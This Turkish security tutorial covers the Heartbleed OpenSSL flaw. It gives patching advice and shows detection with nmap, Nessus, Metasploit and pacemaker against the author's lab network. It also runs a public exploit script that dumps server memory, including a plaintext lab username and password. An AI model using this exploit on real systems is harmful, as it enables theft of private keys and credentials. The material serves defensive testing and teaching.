TLS’in heartbeat eklentisindeki bir programlama hatasından kaynaklanan sorun sayesinde internete açık zafiyet içeren OpenSSL sürümünü kullanan herhangi bir sistemin belleğindeki bilgiler 64 kbyte’lık bölümler halinde alınabilmektedir.
Açık, internet üzerinden herhangi yetki gerektirmeksizin tcp 443. porttan kurulan bağlantılar üzerinden(başka portlarda çalışan TLS destekli protokollerde dahil) şifrelemede kullanılan private key’lerin, kullanıcı adı ve şifrelerin, cookie’lerin ve benzer her türlü hassas verinin alınabilmesine olanak sağladığından dolayı, OpenSSL’in 1.0.1 – 1.0.1f arası sürümlerini kullanan sistemlerin bir an önce açığın bulunmasının hemen ardından yayınlanan OpenSSL 1.0.1g sürümüne terfi etmeleri, bu işlem yapılamıyorsa da mevcut OpenSSL’in “-DOPENSSL_NO_HEARTBEATS” parametresi ile yeniden derlenerek heartbeat özelliğini devre dışı bırakmaları önerilmektedir.
İlgili zafiyeti gideren güncelleme paketleri, CentOS, Debian ve FreeBSD paket depolarına eklendi. Bu nedenle ilgili sistemleri kullanıyorsanız acilen sistem update’i edilmelidir. Ayrıca, sistem güncellemesine kadar geçen süreç içerisinde SSL anahtarlarınızın alınıp alınmadığını bilemeyeceğiniz için mevcut anahtarların da revoke edilerek yenilerinin üretilmesi yerinde olacaktır.
Açıklıktan Etkilenen Sistemler
-
Debian Wheezy (stable), OpenSSL 1.0.1e-2+deb7u4
-
Ubuntu 12.04.4 LTS, OpenSSL 1.0.1-4ubuntu5.11
-
CentOS 6.5, OpenSSL 1.0.1e-15
-
Fedora 18, OpenSSL 1.0.1e-4
-
OpenBSD 5.3 (OpenSSL 1.0.1c 10 May 2012) ve 5.4 (OpenSSL 1.0.1c 10 May 2012)
-
FreeBSD 10.0 – OpenSSL 1.0.1e 11 Feb 2013
-
NetBSD 5.0.2 (OpenSSL 1.0.1e)
-
OpenSUSE 12.2 (OpenSSL 1.0.1c
-
Red Hat Enterprise Linux 6.5, Red Hat Enterprise Virtualization Hypervisor 6.5, and Red Hat Storage 2.1
Açıklığın ortaya çıkmasından sonra istismarı için bir takım istismar araçları yayınlandı. Bağımsız olarak geliştirilen exploit’lerin yanısıra Nessus, nmap, metasploit gibi en sık kullanılan güvenlik araçları da açıklığı tespit tmek amaçlı kendilerini güncelleyerek gerekli script’leri kütüphanelerine eklediler.
İlk olarak nmap port tarama aracının yayınlamış olduğu script’i kullanarak yerel ağda açıklıktan etkilenen sistemlerin olup olmadığını kontrol edelim.
Nmap NSE Kullanarak HeartBleed Zafiyetini Tespit Etme
# nmap -p 443 –script ssl-heartbleed 6.6.6.0/24
Nmap scan report for 6.6.6.251
Host is up (0.0022s latency).
PORT STATE SERVICE
443/tcp open https
| ssl-heartbleed:
| VULNERABLE:
| The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.
| State: VULNERABLE
| Risk factor: High
| Description:
| OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.
|
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
| http://www.openssl.org/news/secadv_20140407.txt
|_ http://cvedetails.com/cve/2014-0160/
Nmap scan report for 6.6.6.247
Host is up (0.0020s latency).
PORT STATE SERVICE
443/tcp open https
| ssl-heartbleed:
| VULNERABLE:
| The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.
| State: VULNERABLE
| Risk factor: High
| Description:
| OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.
|
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
| http://www.openssl.org/news/secadv_20140407.txt
|_ http://cvedetails.com/cve/2014-0160/
|
Tablodaki port tarama sonuçlarına bakılacak olursa 6.6.6.0(6.6.6.0/24 ağı BGA’nın kullandığı sızma testi lab. sistemlerine aittir) alt ağında açıklıktan etkilenen 2 tane makinenin olduğu görülmektedir.
Açıklığı istismar etmek için geliştirilmiş exploitler kullanılarak hedef sistem belleğindeki hassas verilere erişmek mümkün olacaktır.
Nessus ile ‘heartbleed’ Taraması Gerçekleştirme
Diğer bir zaafiyet tarama aracı olan Nessus, OpenSSL’de bulunan bu güvenlik açığı karşısında kendisini güncellemiştir. Nessus ile örnek bir heartbleed taraması aşağıdaki gibi yapılabilir.
Heartbleed taraması yapabilmek için, ilk olarak ‘Heartbleed Detection’ politikası oluşturulmalıdır.
Policy oluşturma
Oluşturulan bu politika kullanılarak tarama başlatılır.
Taramayı Başlatma
Eğer hedef sistem açıklıktan etkilenmiş ise , nessus bu durumu tespit edecek ve aşağıdaki ekran görüntüsünde olduğu gibi rapor sunacaktır.
Metasploit ile Heartbleed Testi
En çok kullanılan güvenlik araçlarından biri olan Metasploit, OpenSSL’de bulunan bu güvenlik açığı karşısında ilgili güncellemeyi yaptı.Aşağıdaki örnekte Metasploit kullanarak hedef sistemin açıklıktan etkilenip etkilenmediği kontrol edilmiştir.
NOT:Metasploit ve Nessus sadece HTTPS değil diğer SSL kullanan portları da test edip tespit edebilmektedir.
msf > use auxiliary/scanner/ssl/openssl_heartbleed
msf auxiliary(openssl_heartbleed) > show options
Module options (auxiliary/scanner/ssl/openssl_heartbleed):
Name Current Setting Required Description
—- ————— ——– ———–
RHOSTS yes The target address range or CIDR identifier
RPORT 443 yes The target port
STARTTLS None yes Protocol to use with STARTTLS, None to avoid STARTTLS (accepted: None, SMTP, IMAP, JABBER, POP3)
THREADS 1 yes The number of concurrent threads
TLSVERSION 1.1 yes TLS version to use (accepted: 1.0, 1.1, 1.2)
msf auxiliary(openssl_heartbleed) > set RHOSTS 6.6.6.251
RHOSTS => 6.6.6.251
msf auxiliary(openssl_heartbleed) > run
[+] 6.6.6.251:443 – Heartbeat response with leak
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
|
Heartbleed İstismar Scripti
Açıklığı tespit ettikten sonra, istismar etmek için https://github.com/musalbas/heartbleed-masstest/blob/master/ssltest.py adresinde bulunan exploit kullanılabilir.Örnek bir uygulama aşağıdaki gibidir.
# python ssltest.py 6.6.6.251 -p 443
username=bg
0290: 65 6E 76 70 6E 26 70 61 73 73 77 6F 72 64 3D 50 alab&password=P
02a0: 64 62 37 34 63 70 38 63 6C 72 A9 4B 76 27 B9 A8 as12cp8bga.Kv’..
02b0: 9D 29 59 C4 54 4A 16 06 75 3B 00 00 00 00 00 00 .)Y.TJ..u;……
username: bgalab
pass: Pas12cp8bga
|
Pacemaker ile İstemci(Browser) Sistemlerin HeartBleed Testi
OpenSSL’de bulunan bu güvenlik açığı, sadece sunucu tarafını etkilemekle kalmayıp sunucu ile iletişime geçen istemcileride etkilemektedir. Böyle bir durumdan etkilenip etkilenmediğinizi https://github.com/Lekensteyn/pacemaker adresinde bulunan araç ile test edebilirsiniz.
Önce sunucuyu çalıştırın.
python pacemaker.py
|
Daha sonra istemci bilgisayar üzerinde https://localhost:4433/ adresine gidin.
curl https://localhost:4433/
|
İstemci bağlantı hatası verecektir.
curl: (35) Unknown SSL protocol error in connection to localhost:4433
|
Eğer açıklıktan etkilenmemiş iseniz sunucu çıktısı aşağıdaki gibi olacaktır.
root@kali:~/Desktop/pacemaker# python pacemaker.py
Listening on :4433 for tls clients
Connection from: 127.0.0.1:36725
Did not receive heartbeat response! [Errno 104] Connection reset by peer
Possibly not vulnerable
|
Eğer açıklıktan etkilenmiş iseniz sunucu çıktısı aşağıdaki gibi olacaktır.
Connection from: 127.0.0.1:40738
Client returned 65535 (0xffff) bytes 0000: 18 03 03 40 00 02 ff ff 2d 03 03 52 34 c6 6d 86 …@….-..R4.m. 0010: 8d e8 40 97 da ee 7e 21 c4 1d 2e 9f e9 60 5f 05 ..@…~!…..`_. 0020: b0 ce af 7e b7 95 8c 33 42 3f d5 00 c0 30 00 00 …~…3B?…0.. 0030: 05 00 0f 00 01 01 00 00 00 00 00 00 00 00 00 00 ……………. 0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ……………. * 4000: 00 00 00 00 00 18 03 03 40 00 00 00 00 00 00 00 ……..@……. 8000: 00 00 00 00 00 00 00 00 00 00 18 03 03 40 00 00 ………….@.. … e440: 1d 2e 9f e9 60 5f 05 b0 ce af 7e b7 95 8c 33 42 ….`_….~…3B e450: 3f d5 00 c0 30 00 00 05 00 0f 00 01 01 00 00 00 ?…0……….. fff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …………… |
Eğer kendi sistemlerinizde bu testi gerçekleştirmek isterseniz aşağıdaki adımları izleyebilirsiniz.
İlk olarak pacemaker.py scriptini çalıştırın.
python pacemaker.py
|
Daha sonra yine istemci bilgisayar üzerinden aşağıdaki komutu çalıştırın.
wget -O /dev/null https://www.google.com/ https://localhost:4433
|
Eğer açıklıktan etkilenmiş iseniz çalıştırılan pacemaker.py scripti aşağıdaki gibi bir çıktı verecektir.
Connection from: 127.0.0.1:41914
Client returned 65535 (0xffff) bytes 0000: 18 03 03 40 00 02 ff ff 2d 03 03 52 34 c6 6d 86 …@….-..R4.m. 0010: 8d e8 40 97 da ee 7e 21 c4 1d 2e 9f e9 60 5f 05 ..@…~!…..`_. 0020: b0 ce af 7e b7 95 8c 33 42 3f d5 00 c0 30 00 00 …~…3B?…0.. 0030: 05 00 0f 00 01 01 65 0d 0a 43 6f 6e 74 65 6e 74 ……e..Content 0040: 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c -Type: text/html 0050: 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d ; charset=UTF-8. … 0b50: 01 05 05 07 02 01 16 2d 68 74 74 70 73 3a 2f 2f …….-https:// 0b60: 77 77 77 2e 67 65 6f 74 72 75 73 74 2e 63 6f 6d www.geotrust.com 0b70: 2f 72 65 73 6f 75 72 63 65 73 2f 72 65 70 6f 73 /resources/repos 0b80: 69 74 6f 72 79 30 0d 06 09 2a 86 48 86 f7 0d 01 itory0…*.H…. 0b90: 01 05 05 00 03 81 81 00 76 e1 12 6e 4e 4b 16 12 ……..v..nNK.. 0ba0: 86 30 06 b2 81 08 cf f0 08 c7 c7 71 7e 66 ee c2 .0………q~f.. 0bb0: ed d4 3b 1f ff f0 f0 c8 4e d6 43 38 b0 b9 30 7d ..;…..N.C8..0} 0bc0: 18 d0 55 83 a2 6a cb 36 11 9c e8 48 66 a3 6d 7f ..U..j.6…Hf.m. 0bd0: b8 13 d4 47 fe 8b 5a 5c 73 fc ae d9 1b 32 19 38 …G..Zs….2.8 0be0: ab 97 34 14 aa 96 d2 eb a3 1c 14 08 49 b6 bb e5 ..4………I… 0bf0: 91 ef 83 36 eb 1d 56 6f ca da bc 73 63 90 e4 7f …6..Vo…sc… 0c00: 7b 3e 22 cb 3d 07 ed 5f 38 74 9c e3 03 50 4e a1 {>”.=.._8t…PN. 0c10: af 98 ee 61 f2 84 3f 12 00 00 00 00 00 00 00 00 …a..?……… 0c20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ……………. * 4000: 00 00 00 00 00 18 03 03 40 00 00 00 00 00 00 00 ……..@……. … ffd0: 00 00 00 00 5c d3 3c 02 00 00 00 00 49 53 4f 36 …..<…..ISO6 ffe0: 34 36 2d 53 45 2f 2f 00 53 45 4e 5f 38 35 30 32 46-SE//.SEN_8502 fff0: 30 30 5f 42 2f 2f 00 00 00 00 00 00 00 00 00 00_B//……… |